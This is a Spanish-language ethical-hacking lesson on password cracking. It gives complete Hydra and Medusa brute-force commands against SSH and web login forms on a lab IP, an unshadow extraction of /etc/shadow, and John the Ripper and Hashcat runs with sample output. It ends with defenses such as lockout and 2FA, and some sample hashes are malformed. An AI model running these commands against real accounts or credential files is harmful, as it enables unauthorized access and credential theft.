FUNDAMENTO TEÓRICO

# 🔐 ¿Qué es un Hash y por qué es vital?

Antes de romper contraseñas, debemos entender cómo se almacenan. Las contraseñas no se guardan en texto plano; se guardan como "hashes" (huellas digitales criptográficas).

## 🧬 La Función Hash

Una función hash toma una entrada (como una contraseña) y la convierte en una cadena de longitud fija. Es una función de **un solo sentido**: es fácil convertir "password123" en un hash, pero matemáticamente imposible revertir el hash para obtener "password123".

Los sistemas operativos (Linux, Windows) y las bases de datos guardan solo el hash. Cuando inicias sesión, el sistema hashea lo que escribes y compara los hashes. Si coinciden, te deja pasar.

### Ejemplo de Hashes Comunes:

Generación de Hashes

```
# MD5 (Obsoleto, fácil de romper)
echo -n "password123" | md5sum
482c811da5d5b4bc6d497ffa98491e38

# SHA-256 (Seguro, estándar actual)
echo -n "password123" | sha256sum
ef92b778bafe771e89245b89ecbc08a44a4e166c06659911881f383d4473e94f
```

> 💡 **Dato Clave**
>
> El objetivo del "Password Cracking" no es adivinar la contraseña en el sistema en vivo (lo cual es lento y bloquea cuentas), sino **robar el archivo de hashes** (como `/etc/shadow` en Linux) y romperlo offline en tu propia máquina, donde no hay límites de intentos.

METODOLOGÍA

## 💥 Fuerza Bruta vs. Ataque de Diccionario

Existen dos formas principales de adivinar una contraseña. Elegir la correcta depende del tiempo y los recursos que tengas.

## 1. Ataque de Fuerza Bruta (Brute Force)

Prueba **todas las combinaciones posibles** de caracteres. Si la contraseña tiene 4 caracteres alfanuméricos, probará desde `aaaa` hasta `9999`.

**Ventaja:** Eventualmente siempre encuentra la contraseña.
**Desventaja:** Puede tardar siglos. Una contraseña de 8 caracteres con mayúsculas, números y símbolos tiene 6 cuatrillones de combinaciones. A una tasa de 1 millón de intentos por segundo, tardarías 200 años.

## 2. Ataque de Diccionario (Wordlist)

En lugar de probar combinaciones aleatorias, prueba palabras comunes, contraseñas filtradas de otras brechas de seguridad, nombres de mascotas, equipos de fútbol, etc. Usa un archivo de texto llamado **Wordlist** (lista de palabras).

Kali Linux viene con el diccionario más famoso del mundo: **RockYou.txt**, que contiene más de 14 millones de contraseñas reales filtradas en 2009.

Explorando el Diccionario

```
kali@root:~$ sudo gunzip /usr/share/wordlists/rockyou.txt.gz
kali@root:~$ wc -l /usr/share/wordlists/rockyou.txt
14344391 /usr/share/wordlists/rockyou.txt
kali@root:~$ head -n 10 /usr/share/wordlists/rockyou.txt
123456
12345
123456789
password
iloveyou
princess
1234567
rockyou
12345678
abc123
```

ATAQUE ONLINE

# 🛠️ Ataques con Hydra (Servicios en Vivo)

Hydra es la herramienta de fuerza bruta en red más rápida del mundo. Se usa para atacar servicios expuestos como SSH, FTP, RDP, formularios web, etc.

## 🎯 Ataque a SSH (Puerto 22)

Imagina que encontraste un servidor con el puerto 22 abierto (como vimos con Nmap) y sabes que el usuario es "root". Quieres probar si su contraseña es débil.

**Sintaxis:** `hydra -l [usuario] -P [diccionario] [IP] [servicio]`

Hydra atacando SSH

```
kali@root:~$
hydra -l root -P /usr/share/wordlists/rockyou.txt
ssh://192.168.56.102
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do
not use in military or secret service organizations, or for illegal
purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at
2026-11-10 10:00:00
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login
tries (l/p:1/14344399), ~896524 tries per task
[DATA] attacking ssh://192.168.56.102:22/
[22][ssh] host: 192.168.56.102   login: root   password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at
2026-11-10 10:02:15
```

**Resultado:** Hydra encontró que la contraseña es `msfadmin` en solo 2 minutos.

## 🌐 Ataque a un Formulario Web (HTTP POST)

Si encuentras un panel de login en una página web, puedes usar Hydra para probar contraseñas. Primero debes inspeccionar el formulario (F12 en el navegador) para ver cómo se envían los datos (los campos de usuario y contraseña).

```
hydra -l [usuario] -P [diccionario] [IP] http-post-form "[ruta]:[datos]:[mensaje de error]"
```

Hydra atacando Login Web

```
kali@root:~$
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.56.102 http-post-form "/login.php:username=^USER^&password=^PASS^:F=incorrect"
[80][http-post-form] host: 192.168.56.102   login: admin   password: password
1 of 1 target successfully completed, 1 valid password found
```

**Explicación de los flags:** `-l admin` (usuario fijo), `/login.php` (ruta del formulario), `^USER^` y `^PASS^` (donde Hydra inyecta los datos), `F=incorrect` (la palabra que aparece en la pantalla cuando falla el login).

ATAQUE OFFLINE

# 👑 Password Cracking con John the Ripper

A diferencia de Hydra (que ataca en red), John the Ripper trabaja con archivos de hashes locales. Es mucho más rápido y silencioso.

## 📂 Extraer los Hashes de Linux

En Linux, las contraseñas hasheadas se guardan en `/etc/shadow` (solo accesible por root). Para crackearlas, necesitas combinar `/etc/passwd` (que tiene los nombres de usuario) y `/etc/shadow`.

Kali tiene una herramienta llamada **unshadow** que hace esto automáticamente:

Preparando los Hashes

```
kali@root:~$ sudo unshadow /etc/passwd /etc/shadow > hashes.txt
kali@root:~$ cat hashes.txt
root:
$6$xyz123$e8f9a0b1c2d3e4f5g6h7i8j9k0l1m2n3o4p5q6r7s8t9u0v1w2×3y4z5:0:0:r
root:/bin/bash
msfadmin:
$6$abc456$k1l2m3n4o5p6q7r8s9t0u1v2w3×4y5z6a7b8c9d0e1f2g3h4i5j6:1000:1000
home/msfadmin:/bin/bash
```

## 🔨 Ejecutar John the Ripper

Ahora que tenemos el archivo `hashes.txt`, le decimos a John que use el diccionario RockYou para intentar romperlo:

John the Ripper en acción

```
kali@root:~$
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Created directory: /root/.john
Loaded 2 password hashes with 2 different salts (crypt, generic
crypt(3) [?/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
msfadmin         (msfadmin)
password         (root)
2g 0:00:00:05 100% 2/3 (ETA: 10:00:00) 0.4000g/s 1200p/s 2400c/s
2400C/s msfadmin..password
Use the "--show" option to display all of the cracked passwords
reliably
Session completed
```

**Resultado:** John encontró las contraseñas de `msfadmin` y `root` en 5 segundos.

```
john --show
hashes.txt
```

### 💻 Crackear Hashes de Windows (NTLM)

En Windows, los hashes se guardan en el archivo SAM. Se pueden extraer con herramientas como `secretsdump.py` o `Mimikatz`. Una vez tienes el hash NTLM, John lo puede romper:

Ataque a Hash NTLM

```
kali@root:~$
john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt
ntlm_hashes.txt
Loaded 1 password hash (NT [MD4 128/128 SSE2 4x])
Passw0rd!        (Administrador)
1g 0:00:00:03 100% 1/3 (ETA: 10:00:00) 0.3333g/s 1200p/s 1200c/s
1200C/s Passw0rd!
```

ARSENAL COMPLETO

## 🔍 Herramientas Complementarias

Hydra y John son los reyes, pero hay otras herramientas que complementan el cracking.

## 1. Hashcat (El rey de la GPU)

John the Ripper es rápido, pero Hashcat usa la tarjeta gráfica (GPU) para crackear hashes a velocidades brutales (miles de millones de intentos por segundo). Es el estándar para ataques de diccionario masivos.

Hashcat en acción

```
kali@root:~$
hashcat -m 0 -a 0 hashes_md5.txt /usr/share/wordlists/rockyou.txt
482c811da5d5b4bc6d497ffa98491e38:password123
```

**Flags:** `-m 0` (tipo de hash: MD5), `-a 0` (ataque de diccionario).

## 2. Medusa (Alternativa a Hydra)

Medusa es otra herramienta de fuerza bruta en red, muy similar a Hydra pero con una sintaxis un poco diferente. A veces funciona mejor en ciertos servicios que Hydra no soporta bien.

Medusa atacando SSH

```
kali@root:~$
medusa -h 192.168.56.102 -u root -P /usr/share/wordlists/
rockyou.txt -M ssh
ACCOUNT FOUND: [ssh] Host: 192.168.56.102 User: root Password:
msfadmin [SUCCESS]
```

### 3. Crunch (Generador de Diccionarios)

Si no tienes el diccionario RockYou, o si sabes que la contraseña tiene un patrón específico (ej. 4 letras y 2 números), puedes generar un diccionario personalizado con Crunch.

Generando un diccionario a medida

```
kali@root:~$ crunch 6 6 -t @@##@@ -o custom_wordlist.txt
Crunch will now generate the following amount of data: 17576000 bytes
Crunch will now generate the following number of lines: 17576000
```

**Flags:** `6 6` (longitud mínima y máxima), `-t @@##@@` (dos letras, dos números, dos letras), `-o` (archivo de salida).

LA OTRA CARA

## 🛡️ Defensa y Mitigación

Como hacker ético, no solo debes saber atacar; debes saber cómo proteger. ¿Cómo evitamos que Hydra y John funcionen?

### 🔒 Contraseñas Robustas

La única defensa real contra los ataques de diccionario es usar contraseñas que **no estén en ningún diccionario**. Una contraseña de 16 caracteres con mayúsculas, minúsculas, números y símbolos (ej. `MiPerroCome3Huesos!`) tardaría millones de años en ser crackeada por fuerza bruta.

### ⏱️ Bloqueo de Cuentas (Account Lockout)

Si Hydra intenta 10.000 contraseñas por segundo, la solución es simple: después de 5 intentos fallidos, bloquear la cuenta por 15 minutos. Esto hace que los ataques de fuerza bruta en línea sean inútiles (tardarías años en probar el diccionario).

En Linux, esto se configura en `/etc/pam.d/common-auth` con el módulo `pam_tally2` o `pam_faillock`.

### 🔑 Autenticación de Dos Factores (2FA)

Incluso si Hydra encuentra la contraseña correcta, si el servidor tiene 2FA activado, el atacante necesitará el código del teléfono. Esta es la defensa más efectiva contra el robo de credenciales.

### 🎓 ¡Fin de la Clase 2.2!

Ya sabes cómo funcionan los ataques de fuerza bruta y cracking. En la próxima clase, veremos cómo interceptar el tráfico de red con Wireshark y Ettercap (MITM).